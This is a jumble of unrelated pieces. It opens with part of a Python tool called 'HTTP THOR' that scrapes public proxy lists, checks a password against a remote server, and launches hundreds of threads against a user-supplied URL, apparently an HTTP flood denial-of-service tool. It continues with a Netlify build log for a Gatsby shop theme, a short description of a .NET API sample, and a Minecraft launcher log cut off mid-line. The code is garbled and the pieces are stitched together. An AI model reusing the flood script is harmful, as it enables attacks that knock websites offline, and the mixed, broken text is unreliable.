POLICY.\n' \ '\n' \ ' Wherever used in these Terms of Service, \xc3\xa2\xe2\x82\xac\xc5\x93you\xc3\xa2\xe2\x82\xac\xc2\x9d, \xc3\xa2\xe2\x82\xac\xc5\x93your\xc3\xa2\xe2\x82\xac\xc2\x9d, \xc3\xa2\xe2\x82\xac\xc5\x93Customer\xc3\xa2\xe2\x82\xac\xc2\x9d, or similar terms means ' \ ' the person or legal entity accessing or using the Services. If you are accessing and \n' \ ' using the Services on behalf of a company (such as your employer) or other legal entity, \n' \ ' you represent and warrant that you have the authority to bind that company\n' \ ' or other legal entity to these Terms of Service.\n' \ '\n' \ '\n' \ ' ..................::HTTP THOR::..................' \ ' ' print(disclaimer) def check_url(self, url): if url[0] + url[1] + url[2] + url[3] == 'www.': url = 'http://' + url elif url[0] + url[1] + url[2] + url[3] == 'http': pass else: url = 'http://' + url return url def retrieve_proxy(self): sourcecode = urllib.request.urlopen('http://free-proxy-list.net/') half = str(sourcecode.read()) half = half.split('<tbody>') half = half[1].split('</tbody>') half = half[0].split('<tr><td>') proxy_list = '' for proxy in half: proxy = proxy.split('</td><td>') try: proxy_list = proxy_list + proxy[0] + ':' + proxy[1] + '\n' continue continue out_file = open('proxy.txt', 'w') out_file.write(proxy_list) out_file.close() def setup(self): public_key = 'jjvbag%' secret_key = '&kk17cnH%' try: with open('password.txt', 'r') as f: password_file = f.readline() password_file = password_file.replace('\n', '') except: print('# Could not find password.txt.') sys.exit(0) try: sourcecode = urllib.request.urlopen('https://350adf0c87a0387a8100df99cb6...zhwUjBOa1VLUFdtRDhSR01qenZ1M1hZMWs/pwTHOR.txt') except: print('# Impossible to connect to the server, please try again.') sys.exit(0) hash1 = str(sourcecode.read().decode('utf-8')) hash2 = hashlib.sha1(password_file.encode('utf-8') + secret_key.encode('utf-8')).hexdigest() + '8a,' + public_key if hash1 != hash2: print("##FATAL ERROR##\n\nYou maybe need to update this program or your password isn't correct.\n\nPm nick: Nhi paltalk.com.") sys.exit(0) print('# Password correct.') target_url = input('# Enter URL to send requests: ') target_url = self.check_url(target_url) while None: try: s = str(input("# Enter 'y' to download a fresh proxy list or or leave empty to skip: ")) if s == 'y': self.retrieve_proxy() print('# Proxy list successfully downloaded.') break continue print('# Failed to download the proxy list.') continue continue while None: ipotetical_list = str(input('# Enter the proxy list or leave empty to skip default [proxy.txt]: ')) if ipotetical_list == '': ipotetical_list = 'proxy.txt' try: in_file = open(ipotetical_list, 'r') proxy_list = [] for i in in_file: proxy_list.append(i.split('/n')[0]) continue print('# Error to read file.') continue continue while None: try: pools_number = int(input('# Enter the number of parallel processes or leave empty to skip default [0]: ')) except: pools_number = 0 break continue while None: try: threads_number = int(input('# Enter the number of thread or leave empty to skip default [800]: ')) except: threads_number = 800 break continue for i in range(threads_number): Boomer(target_url, proxy_list).start() time.sleep(0.003) print('Thread ' + str(i) + ' is going up') if pools_number > 0: for pool_number in range(pools_number): MyProcess(target_url, proxy_list, threads_number).start() if __name__ == '__main__': main = Main() main.setup()
11:36:00 PM: Build ready to start 11:36:02 PM: build-image version: 72a309a113b53ef075815b129953617827965e48 (focal) 11:36:02 PM: build-image tag: v4.8.2 11:36:02 PM: buildbot version: 72ebfe61ef7a5152002962d9129cc52f5b1bb560 11:36:02 PM: Fetching cached dependencies 11:36:02 PM: Failed to fetch cache, continuing with build 11:36:02 PM: Starting to prepare the repo for build 11:36:02 PM: No cached dependencies found. Cloning fresh repo 11:36:02 PM: git clone https://github.com/netlify-templates/gatsby-ecommerce-theme 11:36:03 PM: Preparing Git Reference refs/heads/main 11:36:04 PM: Parsing package.json dependencies 11:36:05 PM: Starting build script 11:36:05 PM: Installing dependencies 11:36:05 PM: Python version set to 2.7 11:36:06 PM: v16.15.1 is already installed. 11:36:06 PM: Now using node v16.15.1 (npm v8.11.0) 11:36:06 PM: Started restoring cached build plugins 11:36:06 PM: Finished restoring cached build plugins 11:36:06 PM: Attempting ruby version 2.7.2, read from environment 11:36:08 PM: Using ruby version 2.7.2 11:36:08 PM: Using PHP version 8.0 11:36:08 PM: No npm workspaces detected 11:36:08 PM: Started restoring cached node modules 11:36:08 PM: Finished restoring cached node modules 11:36:09 PM: Installing NPM modules using NPM version 8.11.0 11:36:09 PM: npm WARN config tmp This setting is no longer used. npm stores temporary files in a special 11:36:09 PM: npm WARN config location in the cache, and they are managed by 11:36:09 PM: npm WARN config [`cacache`](http://npm.im/cacache). 11:36:09 PM: npm WARN config tmp This setting is no longer used. npm stores temporary files in a special 11:36:09 PM: npm WARN config location in the cache, and they are managed by 11:36:09 PM: npm WARN config [`cacache`](http://npm.im/cacache). 11:36:24 PM: npm WARN deprecated source-map-url@0.4.1: See https://github.com/lydell/source-map-url#deprecated 11:36:25 PM: npm WARN deprecated source-map-resolve@0.5.3: See https://github.com/lydell/source-map-resolve#deprecated 11:36:26 PM: npm WARN deprecated uuid@3.4.0: Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details. 11:36:28 PM: npm WARN deprecated querystring@0.2.1: The querystring API is considered Legacy. new code should use the URLSearchParams API instead. 11:36:33 PM: npm WARN deprecated subscriptions-transport-ws@0.9.19: The `subscriptions-transport-ws` package is no longer maintained. We recommend you use `graphql-ws` instead. For help migrating Apollo software to `graphql-ws`, see https://www.apollographql.com/docs/apollo-server/data/subscriptions/#switching-from-subscriptions-transport-ws For general help using `graphql-ws`, see https://github.com/enisdenjo/graphql-ws/blob/master/README.md 11:36:36 PM: npm WARN deprecated async-cache@1.1.0: No longer maintained. Use [lru-cache](http://npm.im/lru-cache) version 7.6 or higher, and provide an asynchronous `fetchMethod` option. 11:36:37 PM: npm WARN deprecated babel-eslint@10.1.0: babel-eslint is now @babel/eslint-parser. This package will no longer receive updates. 11:36:41 PM: npm WARN deprecated devcert@1.2.0: critical regex denial of service bug fixed in 1.2.1 patch 11:36:42 PM: npm WARN deprecated debug@4.1.1: Debug versions >=3.2.0 <3.2.7 || >=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7 or 4.3.1. (https://github.com/visionmedia/debug/issues/797) 11:36:45 PM: npm WARN deprecated urix@0.1.0: Please see https://github.com/lydell/urix#deprecated 11:36:45 PM: npm WARN deprecated resolve-url@0.2.1: https://github.com/lydell/resolve-url#deprecated 11:36:53 PM: npm WARN deprecated puppeteer@7.1.0: Version no longer supported. Upgrade to @latest 11:37:30 PM: added 2044 packages, and audited 2045 packages in 1m 11:37:30 PM: 208 packages are looking for funding 11:37:30 PM: run `npm fund` for details 11:37:30 PM: 41 vulnerabilities (13 moderate, 25 high, 3 critical) 11:37:30 PM: To address issues that do not require attention, run: 11:37:30 PM: npm audit fix 11:37:30 PM: To address all issues possible (including breaking changes), run: 11:37:30 PM: npm audit fix --force 11:37:30 PM: Some issues need review, and may require choosing 11:37:30 PM: a different dependency. 11:37:30 PM: Run `npm audit` for details. 11:37:30 PM: NPM modules installed 11:37:31 PM: npm WARN config tmp This setting is no longer used. npm stores temporary files in a special 11:37:31 PM: npm WARN config location in the cache, and they are managed by 11:37:31 PM: npm WARN config [`cacache`](http://npm.im/cacache). 11:37:31 PM: Started restoring cached go cache 11:37:31 PM: Finished restoring cached go cache 11:37:31 PM: Installing Go version 1.17 (requested 1.17) 11:37:36 PM: unset GOOS; 11:37:36 PM: unset GOARCH; 11:37:36 PM: export GOROOT='/opt/buildhome/.gimme/versions/go1.17.linux.amd64'; 11:37:36 PM: export PATH="/opt/buildhome/.gimme/versions/go1.17.linux.amd64/bin:${PATH}"; 11:37:36 PM: go version >&2; 11:37:36 PM: export GIMME_ENV="/opt/buildhome/.gimme/env/go1.17.linux.amd64.env" 11:37:37 PM: go version go1.17 linux/amd64 11:37:37 PM: Installing missing commands 11:37:37 PM: Verify run directory 11:37:38 PM: 11:37:38 PM: ──────────────────────────────────────────────────────────────── 11:37:38 PM: Netlify Build 11:37:38 PM: ──────────────────────────────────────────────────────────────── 11:37:38 PM: 11:37:38 PM: ❯ Version 11:37:38 PM: @netlify/build 27.3.0 11:37:38 PM: 11:37:38 PM: ❯ Flags 11:37:38 PM: baseRelDir: true 11:37:38 PM: buildId: 62b9ce60232d3454599e9b1c 11:37:38 PM: deployId: 62b9ce60232d3454599e9b1e 11:37:38 PM: 11:37:38 PM: ❯ Current directory 11:37:38 PM: /opt/build/repo 11:37:38 PM: 11:37:38 PM: ❯ Config file 11:37:38 PM: /opt/build/repo/netlify.toml 11:37:38 PM: 11:37:38 PM: ❯ Context 11:37:38 PM: production 11:37:38 PM: 11:37:38 PM: ❯ Loading plugins 11:37:38 PM: - @netlify/plugin-gatsby@3.2.4 from netlify.toml and package.json 11:37:38 PM: - netlify-plugin-cypress@2.2.0 from netlify.toml and package.json 11:37:40 PM: 11:37:40 PM: ──────────────────────────────────────────────────────────────── 11:37:40 PM: 1. @netlify/plugin-gatsby (onPreBuild event) 11:37:40 PM: ──────────────────────────────────────────────────────────────── 11:37:40 PM: 11:37:40 PM: No Gatsby cache found. Building fresh. 11:37:40 PM: 11:37:40 PM: (@netlify/plugin-gatsby onPreBuild completed in 17ms) 11:37:40 PM: 11:37:40 PM: ──────────────────────────────────────────────────────────────── 11:37:40 PM: 2. netlify-plugin-cypress (onPreBuild event) 11:37:40 PM: ──────────────────────────────────────────────────────────────── 11:37:40 PM: 11:37:41 PM: [STARTED] Task without title. 11:37:44 PM: [SUCCESS] Task without title. 11:37:46 PM: [2266:0627/153746.716704:ERROR:zygote_host_impl_linux.cc(263)] Failed to adjust OOM score of renderer with pid 2420: Permission denied (13) 11:37:46 PM: [2420:0627/153746.749095:ERROR:sandbox_linux.cc(377)] InitializeSandbox() called with multiple threads in process gpu-process. 11:37:46 PM: [2420:0627/153746.764711:ERROR:gpu_memory_buffer_support_x11.cc(44)] dri3 extension not supported. 11:37:46 PM: Displaying Cypress info... 11:37:46 PM: Detected no known browsers installed 11:37:46 PM: Proxy Settings: none detected 11:37:46 PM: Environment Variables: 11:37:46 PM: CYPRESS_CACHE_FOLDER: ./node_modules/.cache/CypressBinary 11:37:46 PM: Application Data: /opt/buildhome/.config/cypress/cy/development 11:37:46 PM: Browser Profiles: /opt/buildhome/.config/cypress/cy/development/browsers 11:37:46 PM: Binary Caches: /opt/build/repo/node_modules/.cache/CypressBinary 11:37:46 PM: Cypress Version: 10.2.0 (stable) 11:37:46 PM: System Platform: linux (Ubuntu - 20.04) 11:37:46 PM: System Memory: 32.8 GB free 27.9 GB 11:37:47 PM: 11:37:47 PM: (netlify-plugin-cypress onPreBuild completed in 6.2s) 11:37:47 PM: 11:37:47 PM: ──────────────────────────────────────────────────────────────── 11:37:47 PM: 3. build.command from netlify.toml 11:37:47 PM: ──────────────────────────────────────────────────────────────── 11:37:47 PM: 11:37:47 PM: $ gatsby build 11:37:49 PM: success open and validate gatsby-configs, load plugins - 0.298s 11:37:49 PM: success onPreInit - 0.003s 11:37:49 PM: success initialize cache - 0.107s 11:37:49 PM: success copy gatsby files - 0.044s 11:37:49 PM: success Compiling Gatsby Functions - 0.251s 11:37:49 PM: success onPreBootstrap - 0.259s 11:37:50 PM: success createSchemaCustomization - 0.000s 11:37:50 PM: success Checking for changed pages - 0.000s 11:37:50 PM: success source and transform nodes - 0.154s 11:37:50 PM: info Writing GraphQL type definitions to /opt/build/repo/.cache/schema.gql 11:37:50 PM: success building schema - 0.402s 11:37:50 PM: success createPages - 0.000s 11:37:50 PM: success createPagesStatefully - 0.312s 11:37:50 PM: info Total nodes: 49, SitePage nodes: 26 (use --verbose for breakdown) 11:37:50 PM: success Checking for changed pages - 0.000s 11:37:50 PM: success onPreExtractQueries - 0.000s 11:37:54 PM: success extract queries from components - 3.614s 11:37:54 PM: success write out redirect data - 0.006s 11:37:54 PM: success Build manifest and related icons - 0.468s 11:37:54 PM: success onPostBootstrap - 0.469s 11:37:54 PM: info bootstrap finished - 7.967s 11:37:54 PM: success write out requires - 0.009s 11:38:19 PM: success Building production JavaScript and CSS bundles - 24.472s 11:38:38 PM: <w> [webpack.cache.PackFileCacheStrategy] Skipped not serializable cache item 'mini-css-extract-plugin /opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[1]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[2]!/opt/build/repo/src/components/Footer/Footer.module.css|0|Compilation/modules|/opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[1]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[2]!/opt/build/repo/src/components/Footer/Footer.module.css': No serializer registered for Warning 11:38:38 PM: <w> while serializing webpack/lib/cache/PackFileCacheStrategy.PackContentItems -> webpack/lib/NormalModule -> Array { 1 items } -> webpack/lib/ModuleWarning -> Warning 11:38:38 PM: <w> [webpack.cache.PackFileCacheStrategy] Skipped not serializable cache item 'mini-css-extract-plugin /opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[1]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[2]!/opt/build/repo/src/components/Header/Header.module.css|0|Compilation/modules|/opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[1]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[2]!/opt/build/repo/src/components/Header/Header.module.css': No serializer registered for Warning 11:38:38 PM: <w> while serializing webpack/lib/cache/PackFileCacheStrategy.PackContentItems -> webpack/lib/NormalModule -> Array { 1 items } -> webpack/lib/ModuleWarning -> Warning 11:38:39 PM: <w> [webpack.cache.PackFileCacheStrategy] Skipped not serializable cache item 'Compilation/modules|/opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[9].oneOf[0].use[0]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[9].oneOf[0].use[1]!/opt/build/repo/src/components/Footer/Footer.module.css': No serializer registered for Warning 11:38:39 PM: <w> while serializing webpack/lib/cache/PackFileCacheStrategy.PackContentItems -> webpack/lib/NormalModule -> Array { 1 items } -> webpack/lib/ModuleWarning -> Warning 11:38:39 PM: <w> [webpack.cache.PackFileCacheStrategy] Skipped not serializable cache item 'Compilation/modules|/opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[9].oneOf[0].use[0]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[9].oneOf[0].use[1]!/opt/build/repo/src/components/Header/Header.module.css': No serializer registered for Warning 11:38:39 PM: <w> while serializing webpack/lib/cache/PackFileCacheStrategy.PackContentItems -> webpack/lib/NormalModule -> Array { 1 items } -> webpack/lib/ModuleWarning -> Warning 11:38:41 PM: success Building HTML renderer - 21.648s 11:38:41 PM: success Execute page configs - 0.024s 11:38:41 PM: success Caching Webpack compilations - 0.000s 11:38:41 PM: success run queries in workers - 0.042s - 26/26 621.26/s 11:38:41 PM: success Merge worker state - 0.001s 11:38:41 PM: success Rewriting compilation hashes - 0.001s 11:38:41 PM: success Writing page-data.json files to public directory - 0.014s - 26/26 1818.92/s 11:38:45 PM: success Building static HTML for pages - 4.353s - 26/26 5.97/s 11:38:45 PM: info [gatsby-plugin-netlify] Creating SSR/DSG redirects... 11:38:45 PM: info [gatsby-plugin-netlify] Created 0 SSR/DSG redirects... 11:38:45 PM: success onPostBuild - 0.011s 11:38:45 PM: 11:38:45 PM: Pages 11:38:45 PM: ┌ src/pages/404.js 11:38:45 PM: │ ├ /404/ 11:38:45 PM: │ └ /404.html 11:38:45 PM: ├ src/pages/about.js 11:38:45 PM: │ └ /about/ 11:38:45 PM: ├ src/pages/accountSuccess.js 11:38:45 PM: │ └ /accountSuccess/ 11:38:45 PM: ├ src/pages/cart.js 11:38:45 PM: │ └ /cart/ 11:38:45 PM: ├ src/pages/faq.js 11:38:45 PM: │ └ /faq/ 11:38:45 PM: ├ src/pages/forgot.js 11:38:45 PM: │ └ /forgot/ 11:38:45 PM: ├ src/pages/how-to-use.js 11:38:45 PM: │ └ /how-to-use/ 11:38:45 PM: ├ src/pages/index.js 11:38:45 PM: │ └ / 11:38:45 PM: ├ src/pages/login.js 11:38:45 PM: │ └ /login/ 11:38:45 PM: ├ src/pages/orderConfirm.js 11:38:45 PM: │ └ /orderConfirm/ 11:38:45 PM: ├ src/pages/search.js 11:38:45 PM: │ └ /search/ 11:38:45 PM: ├ src/pages/shop.js 11:38:45 PM: │ └ /shop/ 11:38:45 PM: ├ src/pages/shopV2.js 11:38:45 PM: │ └ /shopV2/ 11:38:45 PM: ├ src/pages/signup.js 11:38:45 PM: │ └ /signup/ 11:38:45 PM: ├ src/pages/styling.js 11:38:45 PM: │ └ /styling/ 11:38:45 PM: ├ src/pages/support.js 11:38:45 PM: │ └ /support/ 11:38:45 PM: ├ src/pages/account/address.js 11:38:45 PM: │ └ /account/address/ 11:38:45 PM: ├ src/pages/account/favorites.js 11:38:45 PM: │ └ /account/favorites/ 11:38:45 PM: ├ src/pages/account/index.js 11:38:45 PM: │ └ /account/ 11:38:45 PM: ├ src/pages/account/orders.js 11:38:45 PM: │ └ /account/orders/ 11:38:45 PM: ├ src/pages/account/settings.js 11:38:45 PM: │ └ /account/settings/ 11:38:45 PM: ├ src/pages/account/viewed.js 11:38:45 PM: │ └ /account/viewed/ 11:38:45 PM: ├ src/pages/blog/index.js 11:38:45 PM: │ └ /blog/ 11:38:45 PM: ├ src/pages/blog/sample.js 11:38:45 PM: │ └ /blog/sample/ 11:38:45 PM: └ src/pages/product/sample.js 11:38:45 PM: └ /product/sample/ 11:38:45 PM: ╭────────────────────────────────────────────────────────────────────╮ 11:38:45 PM: │ │ 11:38:45 PM: │ (SSG) Generated at build time │ 11:38:45 PM: │ D (DSG) Deferred static generation - page generated at runtime │ 11:38:45 PM: │ ∞ (SSR) Server-side renders at runtime (uses getServerData) │ 11:38:45 PM: │ λ (Function) Gatsby function │ 11:38:45 PM: │ │ 11:38:45 PM: ╰────────────────────────────────────────────────────────────────────╯ 11:38:45 PM: info Done building in 58.825944508 sec 11:38:46 PM: 11:38:46 PM: (build.command completed in 59s) 11:38:46 PM: 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 4. @netlify/plugin-gatsby (onBuild event) 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 11:38:46 PM: Skipping Gatsby Functions and SSR/DSG support 11:38:46 PM: 11:38:46 PM: (@netlify/plugin-gatsby onBuild completed in 9ms) 11:38:46 PM: 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 5. Functions bundling 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 11:38:46 PM: The Netlify Functions setting targets a non-existing directory: netlify/functions 11:38:46 PM: 11:38:46 PM: (Functions bundling completed in 3ms) 11:38:46 PM: 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 6. @netlify/plugin-gatsby (onPostBuild event) 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 11:38:47 PM: Skipping Gatsby Functions and SSR/DSG support 11:38:47 PM: 11:38:47 PM: (@netlify/plugin-gatsby onPostBuild completed in 1.4s) 11:38:47 PM: 11:38:47 PM: ──────────────────────────────────────────────────────────────── 11:38:47 PM: 7. netlify-plugin-cypress (onPostBuild event) 11:38:47 PM: ──────────────────────────────────────────────────────────────── 11:38:47 PM: 11:38:49 PM: [2557:0627/153849.751277:ERROR:zygote_host_impl_linux.cc(263)] Failed to adjust OOM score of renderer with pid 2711: Permission denied (13) 11:38:49 PM: [2711:0627/153849.770005:ERROR:sandbox_linux.cc(377)] InitializeSandbox() called with multiple threads in process gpu-process. 11:38:49 PM: [2711:0627/153849.773016:ERROR:gpu_memory_buffer_support_x11.cc(44)] dri3 extension not supported. 11:38:52 PM: Couldn't find tsconfig.json. tsconfig-paths will be skipped 11:38:52 PM: tput: No value for $TERM and no -T specified 11:38:52 PM: ==================================================================================================== 11:38:52 PM: (Run Starting) 11:38:52 PM: ┌────────────────────────────────────────────────────────────────────────────────────────────────┐ 11:38:52 PM: │ Cypress: 10.2.0 │ 11:38:52 PM: │ Browser: Custom Chromium 90 (headless) │ 11:38:52 PM: │ Node Version: v16.15.1 (/opt/buildhome/.nvm/versions/node/v16.15.1/bin/node) │ 11:38:52 PM: │ Specs: 1 found (basic.cy.js) │ 11:38:52 PM: │ Searched: cypress/e2e/**/*.cy.{js,jsx,ts,tsx} │ 11:38:52 PM: └────────────────────────────────────────────────────────────────────────────────────────────────┘ 11:38:52 PM: ──────────────────────────────────────────────────────────────────────────────────────────────────── 11:38:52 PM: Running: basic.cy.js (1 of 1) 11:38:56 PM: 11:38:56 PM: sample render test 11:38:58 PM: ✓ displays the title text (2517ms) 11:38:58 PM: 1 passing (3s) 11:39:00 PM: (Results) 11:39:00 PM: ┌────────────────────────────────────────────────────────────────────────────────────────────────┐ 11:39:00 PM: │ Tests: 1 │ 11:39:00 PM: │ Passing: 1 │ 11:39:00 PM: │ Failing: 0 │ 11:39:00 PM: │ Pending: 0 │ 11:39:00 PM: │ Skipped: 0 │ 11:39:00 PM: │ Screenshots: 0 │ 11:39:00 PM: │ Video: true │ 11:39:00 PM: │ Duration: 2 seconds │ 11:39:00 PM: │ Spec Ran: basic.cy.js │ 11:39:00 PM: └────────────────────────────────────────────────────────────────────────────────────────────────┘ 11:39:00 PM: (Video) 11:39:00 PM: - Started processing: Compressing to 32 CRF 11:39:01 PM: - Finished processing: /opt/build/repo/cypress/videos/basic.cy.js.mp4 (1 second) 11:39:01 PM: tput: No value for $TERM and no -T specified 11:39:01 PM: ==================================================================================================== 11:39:01 PM: (Run Finished) 11:39:01 PM: Spec Tests Passing Failing Pending Skipped 11:39:01 PM: ┌────────────────────────────────────────────────────────────────────────────────────────────────┐ 11:39:01 PM: Creating deploy upload records 11:39:01 PM: │ ✔ basic.cy.js 00:02 1 1 - - - │ 11:39:01 PM: └────────────────────────────────────────────────────────────────────────────────────────────────┘ 11:39:01 PM: ✔ All specs passed! 00:02 1 1 - - - 11:39:01 PM: 11:39:01 PM: (netlify-plugin-cypress onPostBuild completed in 14s) 11:39:01 PM: 11:39:01 PM: ──────────────────────────────────────────────────────────────── 11:39:01 PM: 8. Deploy site 11:39:01 PM: ──────────────────────────────────────────────────────────────── 11:39:01 PM: 11:39:01 PM: Starting to deploy site from 'public' 11:39:01 PM: Creating deploy tree 11:39:01 PM: 0 new files to upload 11:39:01 PM: 0 new functions to upload 11:39:02 PM: Starting post processing 11:39:02 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:02 PM: Post processing - HTML 11:39:02 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:03 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:03 PM: Post processing - header rules 11:39:03 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:03 PM: Post processing - redirect rules 11:39:03 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:03 PM: Post processing done 11:39:07 PM: Site is live ✨ 11:39:07 PM: Finished waiting for live deploy in 6.137803722s 11:39:07 PM: Site deploy was successfully initiated 11:39:07 PM: 11:39:07 PM: (Deploy site completed in 6.4s) 11:39:07 PM: 11:39:07 PM: ──────────────────────────────────────────────────────────────── 11:39:07 PM: 9. @netlify/plugin-gatsby (onSuccess event) 11:39:07 PM: ──────────────────────────────────────────────────────────────── 11:39:07 PM: 11:39:07 PM: 11:39:07 PM: (@netlify/plugin-gatsby onSuccess completed in 5ms) 11:39:07 PM: 11:39:07 PM: ──────────────────────────────────────────────────────────────── 11:39:07 PM: 10. netlify-plugin-cypress (onSuccess event) 11:39:07 PM: ──────────────────────────────────────────────────────────────── 11:39:07 PM: 11:39:07 PM: 11:39:07 PM: (netlify-plugin-cypress onSuccess completed in 6ms) 11:39:08 PM: 11:39:08 PM: ──────────────────────────────────────────────────────────────── 11:39:08 PM: Netlify Build Complete 11:39:08 PM: ──────────────────────────────────────────────────────────────── 11:39:08 PM: 11:39:08 PM: (Netlify Build completed in 1m 29.4s) 11:39:08 PM: Caching artifacts 11:39:08 PM: Started saving node modules 11:39:08 PM: Finished saving node modules 11:39:08 PM: Started saving build plugins 11:39:08 PM: Finished saving build plugins 11:39:08 PM: Started saving pip cache 11:39:08 PM: Finished saving pip cache 11:39:08 PM: Started saving emacs cask dependencies 11:39:08 PM: Finished saving emacs cask dependencies 11:39:08 PM: Started saving maven dependencies 11:39:08 PM: Finished saving maven dependencies 11:39:08 PM: Started saving boot dependencies 11:39:08 PM: Finished saving boot dependencies 11:39:08 PM: Started saving rust rustup cache 11:39:08 PM: Finished saving rust rustup cache 11:39:08 PM: Started saving go dependencies 11:39:08 PM: Finished saving go dependencies 11:39:10 PM: Build script success 11:39:10 PM: Pushing to repository git@github.com:Lhagawajaw/hymd-baraa 11:40:32 PM: Finished processing build request in 4m30.278982258s
renatogroffe
Exemplo em .NET 9 + ASP.NET Core + C#13 de API REST de contagem de acessos e que faz uso da classe Lock (namespace System.Threading). Inclui também o uso do novo package para suporte a OpenAPI e da solução Scalar (alternativa ao Swagger).
HurriKane
[16/5/2015 18:44:34 PM] Loading Language: English [16/5/2015 18:44:34 PM] Loading Language: English [16/5/2015 18:44:34 PM] ATLauncher Version: 3.2.2.6 [16/5/2015 18:44:34 PM] Operating System: Windows 7 [16/5/2015 18:44:34 PM] RAM Available: 1024MB [16/5/2015 18:44:34 PM] Java Version: Launcher: 1.8.0_45, Minecraft: 1.8.0_45 [16/5/2015 18:44:34 PM] Java Path: C:\Program Files\Java\jre1.8.0_45 [16/5/2015 18:44:34 PM] 64 Bit Java: false [16/5/2015 18:44:34 PM] Launcher Directory: **USERSDIR** [16/5/2015 18:44:34 PM] Using Theme: Default Theme by RyanTheAllmighty [16/5/2015 18:44:35 PM] Showing splash screen and loading everything [16/5/2015 18:44:36 PM] Checking for updated files! [16/5/2015 18:44:39 PM] Updates found! [16/5/2015 18:44:39 PM] Downloading Launcher File packs.json [16/5/2015 18:44:42 PM] Finished downloading updated files! [16/5/2015 18:44:42 PM] Loading Language: English [16/5/2015 18:44:42 PM] Loading external library authlib-1.5.17.jar to classpath [16/5/2015 18:44:42 PM] Loading external library log4j-api-2.0-beta9.jar to classpath [16/5/2015 18:44:42 PM] Loading external library log4j-core-2.0-beta9.jar to classpath [16/5/2015 18:44:42 PM] Loading external library guava-17.0.jar to classpath [16/5/2015 18:44:42 PM] Loading external library commons-io-2.4.jar to classpath [16/5/2015 18:44:42 PM] Loading external library commons-lang3-3.3.2.jar to classpath [16/5/2015 18:44:43 PM] [Background] Checking Minecraft Versions Started [16/5/2015 18:44:47 PM] Checking account UUID's! [16/5/2015 18:44:47 PM] Launcher finished loading everything [16/5/2015 18:44:47 PM] Launcher opening [16/5/2015 18:44:47 PM] Made By Bob* [16/5/2015 18:44:47 PM] *(Not Actually) [16/5/2015 18:44:47 PM] Setting up Bottom Bar [16/5/2015 18:44:48 PM] Finished Setting up Bottom Bar [16/5/2015 18:44:48 PM] Setting up Tabs [16/5/2015 18:44:50 PM] [Background] Checking Minecraft Versions Complete [16/5/2015 18:44:51 PM] Finished Setting up Tabs [16/5/2015 18:44:51 PM] Showing Launcher [16/5/2015 18:45:06 PM] Logging into Minecraft! [16/5/2015 18:45:06 PM] Trying to login with access token! [16/5/2015 18:45:08 PM] Launching pack Sky Factory 2.4 for Minecraft 1.7.10 [16/5/2015 18:45:08 PM] Launching Minecraft with the following arguments (user related stuff has been removed): [C:\Program Files\Java\jre1.8.0_45\bin\javaw, -XX:HeapDumpPath=MojangTricksIntelDriversForPerformance_javaw.exe_minecraft.exe.heapdump, -XX:-OmitStackTraceInFastThrow, -XX:+UseConcMarkSweepGC, -XX:+CMSIncrementalMode, -XX:-UseAdaptiveSizePolicy, -Xms256M, -Xmx1024M, -XX:MetaspaceSize=128M, -Duser.language=en, -Duser.country=US, -Dfml.log.level=INFO, -Djava.library.path=**USERSDIR**\Instances\SkyFactory\bin\natives, -cp, **USERSDIR**\ATLauncher (1).exe;anything;**USERSDIR**\Instances\SkyFactory\jarmods\forge-1.7.10-10.13.3.1395-1710ls-universal.jar;**USERSDIR**\Instances\SkyFactory\bin\launchwrapper-1.11.jar;**USERSDIR**\Instances\SkyFactory\bin\asm-all-5.0.3.jar;**USERSDIR**\Instances\SkyFactory\bin\akka-actor_2.11-2.3.3.jar;**USERSDIR**\Instances\SkyFactory\bin\config-1.2.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-actors-migration_2.11-1.1.0.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-compiler-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-continuations-library_2.11-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-continuations-plugin_2.11.1-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-library-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-parser-combinators_2.11-1.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-reflect-2.11.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-swing_2.11-1.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\scala-xml_2.11-1.0.2.jar;**USERSDIR**\Instances\SkyFactory\bin\jopt-simple-4.5.jar;**USERSDIR**\Instances\SkyFactory\bin\lzma-0.0.1.jar;**USERSDIR**\Instances\SkyFactory\bin\guava-16.0.jar;**USERSDIR**\Instances\SkyFactory\bin\commons-lang3-3.2.1.jar;**USERSDIR**\In